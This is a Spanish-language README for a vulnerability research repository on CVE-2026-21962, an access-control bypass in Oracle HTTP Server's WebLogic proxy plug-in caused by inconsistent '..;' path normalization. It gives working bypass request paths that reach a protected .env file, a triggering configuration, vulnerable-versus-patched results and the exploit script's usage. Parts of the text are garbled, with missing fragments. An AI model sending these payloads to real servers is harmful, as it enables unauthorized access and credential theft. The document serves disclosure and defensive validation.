
PoC verificado y análisis para CVE-2026-21962, una omisión de control de acceso en Oracle HTTP Server/WebLogic Proxy Plug-in mediante una inconsistencia en la normalización de URI, con script de explotación y evidencia.
Un exploit y análisis reproducidos de forma independiente para CVE-2026-21962 (control de acceso inadecuado, CVSS 10.0) en Oracle HTTP Server / el Proxy Plug-in de Oracle WebLogic Server para Apache HTTP Server.
Estado: verificado contra OHS 12.2.1.4.0 y 14.1.2.0.0 en producción frente a WebLogic Server 12.2.1.4.
El front-end (OHS + mod_wl_ohs) y el backend (WebLogic) normalizan
..; de forma diferente. Una solicitud como:
GET /foo/..;/internal-admin/cont/.env HTTP/1.1
omite una regla de protección <Location /internal-admin> del front-end porque OHS
no colapsa ..;, mientras que WebLogic ( = parámetro de ruta del
servlet, = directorio padre). El backend entonces sirve la ruta protegida.
Resultado: (CWE-284).
;..Consulte analysis/root-cause.md.
mod_wl_ohs (WLSPLUGINS_12.2.1.4.0_LINUX.X64_190912.1848)
frente a WebLogic Server 12.2.1.4.mod_wl_ohs (WLSPLUGINS_14.1.2.0.0_LINUX.X64_250908.1137)
frente a WebLogic Server 12.2.1.4..env protegido):
/foo/..;/internal-admin/cont/.env/foo/..%3b/internal-admin/cont/.env/foo/..;jsessionid=xxxx/internal-admin/cont/.env/foo/%2e%2e;/internal-admin/cont/.env404), lo que demuestra el bypass.X-ORACLE-DMS-*, lo que demuestra que es una
respuesta genuina del backend (WebLogic)./internal-admin/...
(GET /foo/../internal-admin/... 200).evidence/).poc-factcheck.md).isapi_wl, afectado en
12.2.1.4.0). Se espera el mismo mecanismo (resolución de ruta del servlet en el
backend), pero no se reprodujo en Windows.analysis/patch-analysis.md).| rol | componente | versión |
|---|---|---|
| front-end | Oracle HTTP Server | 12.2.1.4.0 / 14.1.2.0.0 |
| plug-in | mod_wl_ohs | 12.2.1.4 (190912) / 14.1.2 (250908) |
| backend | Oracle WebLogic Server | 12.2.1.4 |
| aplicación protegida | /internal-admin/cont/.env (credenciales ficticias) | — |
Configuración del front-end utilizada (disparador mínimo):
<Location /foo>
WLSRequest ON
WebLogicCluster <backend>:7101
</Location>
<Location /internal-admin>
ErrorDocument 404 'OHS: Disallowed location'
Redirect 404 /
</Location>
Misma solicitud, mismo front-end, mismo backend — solo cambia el manejo de
..; en el front-end.
GET /foo/..;/internal-admin/cont/.env HTTP/1.1
| implementación | HTTP | filtrado | backend alcanzado |
|---|---|---|---|
| vulnerable | 200 | sí (credenciales .env) | sí (X-ORACLE-DMS-*) |
| parcheado (normalización corregida) | 404 | no | no |
Evidencia cruda (solicitud / respuesta / registros del servidor):
python3 exploit/CVE-2026-21962.py -t http://TARGET:PORT --auto-proxy --check ALL
--auto-proxy : detecta automáticamente el prefijo del proxy WLSRequest (p. ej. /foo).-c : ruta protegida en el backend (por defecto internal-admin/cont/.env).--check LEAK|SSRF|ALL.X-ORACLE-DMS-*; la solicitud
de control (directa) debe estar bloqueada para que el veredicto sea positivo.Consulte exploit/README.md para más detalles. Úselo únicamente contra sistemas que esté
autorizado a probar.
.
├── README.md este archivo
├── exploit/
│ ├── CVE-2026-21962.py PoC verificado (verificación de fuga determinista)
│ └── README.md
├── evidence/
│ ├── vulnerable/ request.txt, response.txt, server-log.txt
│ └── patched/ request.txt, response.txt, server-log.txt
├── analysis/
│ ├── root-cause.md análisis de discrepancia de normalización
│ └── patch-analysis.md diff binario + A/B equivalente al parche
└── poc-factcheck.md tabla de credibilidad de PoC públicos + detalle por PoC
Las herramientas activas de detección / mapeo (fingerprint, sonda ciega, mapa de normalización)
que funcionan SIN conocer una ruta protegida se mantienen por separado en
../../probe/.
exploit/CVE-2026-21962.py
SHA-256: 20f050abf2a8f0e5b644667c1f7f87bcd9b2448d03b8d5d89bd6ea71b6b4f75aEste material se proporciona para investigación de vulnerabilidades y validación defensiva.
No lo use contra sistemas sin autorización. El contenido de .env en la
evidencia es ficticio; no se incluyen credenciales reales.